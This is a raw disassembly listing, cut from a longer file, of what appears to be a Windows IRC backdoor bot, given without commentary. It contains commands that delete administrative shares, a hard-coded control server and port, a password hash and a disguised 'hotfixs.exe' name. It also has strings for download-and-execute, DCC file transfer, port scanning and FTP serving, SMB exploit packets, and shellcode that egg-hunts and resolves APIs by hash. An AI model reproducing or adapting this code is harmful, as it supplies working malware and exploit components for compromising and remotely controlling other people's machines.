43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086ECo ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... dword_4437FC dd 20544F48h, 53584946h, 0aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+386o align 4 dd 0 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+375o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o align 10h aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+353o dd 0 aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+345o align 4 aHoewrt db 'hoewrt',0 ; DATA XREF: sub_407790+334o align 4 aHotfixs_exe db 'hotfixs.exe',0 ; DATA XREF: sub_407790+323o dd 0 aServec db 'servec',0 ; DATA XREF: sub_407790+312o align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+301o align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2F0o align 10h a7000 db '7000',0 ; DATA XREF: sub_407790+298o align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438B0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438D0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4438F8 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443AF4: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C74 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C78: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C84: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CC4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CDC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CEC dd 4255505Bh, 5D43494Ch, 0dword_443CF8 dd 4952505Bh, 45544156h, 5Dhdword_443D04 dd 202Eh ; sub_4126B0+E5o dword_443D08 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D24: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D28: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D2C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D30 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D70 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D74 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D80 dd 652Dh dword_443D84 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DC0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DC4 dd 2Eh ; ___:0041B235o ... dword_443DC8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E14: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E28 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74 dd 63257325h, 0 ; sub_41F860+E5o dword_443E7C dd 72h dword_443E80 dd 30h ; sub_424840+327o dword_443E84 dd 3039h dword_443E88 dd 383631h dword_443E8C dd 323931h dword_443E90 dd 3631h dword_443E94 dd 323731h dword_443E98 dd 3031h off_443E9C dd offset dword_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EA0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EA4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EA8 dd 430050h ; ___:0041C25Br dword_443EAC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EE8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FEC dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC dd 6469706Bh, 7325203Ah, 0dword_444008 dd 203A736Bh, 7325hdword_444010 dd 202E6425h, 7325202Fh, 0dword_44401C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_444098: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44432C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444400: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444438 dd 1BDh ; sub_422A40+310o ... off_44443C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444440 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422A40+747o aA db ' -a',0 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... aR db ' -r',0 ; DATA XREF: sub_422A40:loc_423167o ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44466C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo align 10h dword_444830 dd 10FF8h, 0 dword_444838 dd 10FF8h dword_44483C dd 7FFDF020h, 0 dword_444844 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4448FC dd 0 dword_444900 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444908 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A04 push dword ptr [esi] push 63D61209h call sub_444A1A mov [esi+8], eax call sub_4449CD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A1A mov [esi+0Ch], eax call sub_44497F push dword ptr [esi+4] push 4C0297FAh call sub_444A1A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444908 endp ; =============== S U B R O U T I N E ======================================= sub_44497F proc near ; CODE XREF: sub_444908+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449A8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44497F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449A8 proc near ; CODE XREF: sub_44497F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449B7: ; CODE XREF: sub_4449A8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449C4 inc ebx jmp short loc_4449B7 ; --------------------------------------------------------------------------- loc_4449C4: ; CODE XREF: sub_4449A8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449CD proc near ; CODE XREF: sub_444908+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449E5: ; CODE XREF: sub_4449CD+1Ej cmp [ecx], ebx jz short loc_4449ED mov ecx, [ecx] jmp short loc_4449E5 ; --------------------------------------------------------------------------- loc_4449ED: ; CODE XREF: sub_4449CD+1Aj mov edx, edi loc_4449EF: ; CODE XREF: sub_4449CD+2Aj cmp [edx+4], ebx jz short loc_4449F9 mov edx, [edx+4] jmp short loc_4449EF ; --------------------------------------------------------------------------- loc_4449F9: ; CODE XREF: sub_4449CD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449CD endp ; =============== S U B R O U T I N E ======================================= sub_444A04 proc near ; CODE XREF: sub_444908+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A04 endp ; =============== S U B R O U T I N E ======================================= sub_444A1A proc near ; CODE XREF: sub_444908+16p ; sub_444908+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A30: ; CODE XREF: sub_444A1A+33j jecxz short loc_444A6A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A3D: ; CODE XREF: sub_444A1A+2Dj lodsb cmp al, ah jz short loc_444A49 ror edi, 0Dh add edi, eax jmp short loc_444A3D ; --------------------------------------------------------------------------- loc_444A49: ; CODE XREF: sub_444A1A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A30 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; 